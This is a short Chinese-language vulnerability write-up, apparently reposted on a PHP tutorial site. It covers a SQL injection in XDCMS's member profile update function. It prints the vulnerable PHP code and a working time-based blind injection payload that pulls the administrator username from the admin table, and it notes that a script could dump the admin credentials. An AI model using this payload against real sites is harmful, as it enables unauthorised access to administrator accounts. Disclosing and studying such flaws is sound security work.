网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

XDCMS企业管理系统SQL #3 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] public function edit_save(){$this-member_info();$userid=intval(Cookie::_getcookie( 39;member_userid 39;));$fields=$_POST[ 39;fields 39;]; ???????$field_sql= 39; 39;;foreach($fields as...

 

 

public function edit_save(){
$this->member_info();
$userid=intval(Cookie::_getcookie('member_userid'));
$fields=$_POST['fields'];
//???????
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='".safe_html($f_value)."'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}";
$query=$this->mysql->query($field_sql);

showmsg(C('update_success'),'index.php?m=member&f=edit');
}



只是 safe_html gpc关闭或者php高版本的话,单引号还是可以进去的。 过滤了很多,加上是 updata 。所以盲注延时。

修改抓包修改

fields%5Btruename%5D=a' or if(ascii(substr((select username from c_admin),1,1))-96,sleep(2),null) or '1



延时是成功的

2.jpg


 

可以写个脚本延时跑下。即可得到 管理账号密码

修复方案:

加强过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论